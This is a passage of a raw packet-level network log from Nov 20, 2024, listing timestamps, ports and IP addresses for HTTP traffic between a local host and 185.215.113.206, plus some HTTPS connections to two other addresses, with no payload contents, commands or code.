Nov 20, 2024 21:05:49.438234091 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.438312054 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.438899040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.438915014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.438977957 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.438977957 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.439733028 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.439860106 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.439881086 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.439975023 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.440557957 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.440666914 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.440680981 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.440752983 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.441405058 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.441462040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.441502094 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.441562891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.442281961 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.442403078 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.442697048 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.442773104 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.443124056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.443264961 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.443372965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.443495989 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.444045067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.444058895 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.444093943 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.444785118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.444891930 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.444931030 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.445053101 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.445622921 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.445777893 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.445791960 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.445930958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.446480036 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.446602106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.446640015 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.446715117 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.447345972 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.447607040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.447623968 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.447721958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.448170900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.448247910 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.448561907 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.448620081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.449026108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.449168921 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.449213028 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.449213028 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.449871063 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.450030088 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.450068951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.450175047 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.450849056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.450884104 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.450923920 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.450923920 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.451553106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.451617002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.451731920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.451886892 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.452435970 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.452498913 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.452796936 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.453265905 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.453351021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.453882933 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.454020023 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.454129934 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.454143047 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.454190969 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.454210997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.454945087 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.455028057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.455147982 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.455266953 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.455985069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.456054926 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.456175089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.456259966 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.456657887 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.456794977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.457381964 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.457477093 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.457498074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.457510948 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.457642078 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.458312988 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.458379030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.509273052 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.509824038 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.509865999 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.510351896 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.510361910 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.564323902 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.565274954 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.565388918 CET	49837	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.565442085 CET	49837	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.565443039 CET	49837	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.565459013 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.565469027 CET	443	49837	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.569719076 CET	49854	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.569801092 CET	443	49854	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.569888115 CET	49854	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.570259094 CET	49854	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.570295095 CET	443	49854	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.630301952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.630363941 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.630707979 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.630721092 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.630760908 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.630800009 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.630800009 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.631634951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.631711960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.631766081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.631867886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.632426023 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.632438898 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.632534027 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.633202076 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.633302927 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.633349895 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.633349895 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.634058952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.634170055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.634205103 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.634205103 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.634891033 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.634943962 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.635132074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.635194063 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.635775089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.635787010 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.635848999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.636586905 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.636648893 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.636775017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.636851072 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.637407064 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.637499094 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.637758017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.637842894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.638245106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.638362885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.638381004 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.638581038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.639107943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.639180899 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.639596939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.639952898 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.639997959 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.639998913 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.640201092 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.640286922 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.640850067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.640901089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.641277075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.641334057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.641678095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.641736031 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.641918898 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.641984940 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.642652035 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.642736912 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.642858028 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.643481016 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.643577099 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.644273043 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.644287109 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.644325972 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.644385099 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.644443035 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.645029068 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.645091057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.645231962 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.645349979 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.645898104 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.645971060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.646058083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.646203995 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.646756887 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.646843910 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.646887064 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.646908998 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.647684097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.647700071 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.647742987 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.647775888 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.648426056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.648519039 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.648714066 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.648902893 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.649290085 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.649303913 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.649375916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.650134087 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.650212049 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.650410891 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.650460958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.650988102 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.651078939 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.651237965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.651330948 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.651828051 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.651844978 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.651897907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.651993036 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.652657032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.652786016 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.653059006 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.653239012 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.653554916 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.653567076 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.653604984 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.653621912 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.654324055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.654403925 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.654486895 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.654666901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.655185938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.655380964 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.655827999 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.655939102 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.658036947 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.658055067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.658066034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.658195019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.658296108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.658308983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.658319950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.658366919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.658366919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.658895969 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.658909082 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.658987045 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.659420013 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.659516096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.659599066 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.659625053 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.660301924 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.660315037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.660356998 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.660402060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.661097050 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.661180973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.661183119 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.661233902 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.661957979 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.662117004 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.662120104 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.662384033 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.662754059 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.662942886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.663645983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.663660049 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.663707972 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.663717985 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.663717985 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.663825035 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.664439917 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.664558887 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.664592028 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.664606094 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.665313959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.665378094 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.665420055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.666182041 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.666292906 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.666317940 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.666433096 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.666992903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.667012930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.667047977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.667081118 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.667824984 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.667896032 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.668275118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.668399096 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.668684959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.668901920 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.669156075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.669334888 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.669536114 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.669537067 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.669550896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.669683933 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.669713974 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.669734001 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.669734955 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.669744968 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.669770956 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.669830084 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.670078993 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.670078993 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.670094967 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.670108080 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.670119047 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.670133114 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.670144081 CET	49840	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.670149088 CET	443	49840	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.670540094 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.670741081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.670757055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.671052933 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.671257973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.671333075 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.671864033 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.671987057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.672084093 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.672270060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.672416925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.672585964 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.672943115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.673047066 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.673129082 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.673238993 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.673857927 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.673974037 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.674598932 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.674608946 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:49.674920082 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:49.676239967 CET	49855	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.676343918 CET	443	49855	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.676378012 CET	49856	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.676398039 CET	443	49856	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.676430941 CET	49855	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.676487923 CET	49856	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.676701069 CET	49855	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.676701069 CET	49856	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:49.676737070 CET	443	49855	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.676770926 CET	443	49856	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:49.684026957 CET	443	49846	23.200.88.30	192.168.2.7
Nov 20, 2024 21:05:49.684307098 CET	49846	443	192.168.2.7	23.200.88.30
Nov 20, 2024 21:05:49.684324026 CET	443	49846	23.200.88.30	192.168.2.7
Nov 20, 2024 21:05:49.684604883 CET	443	49846	23.200.88.30	192.168.2.7
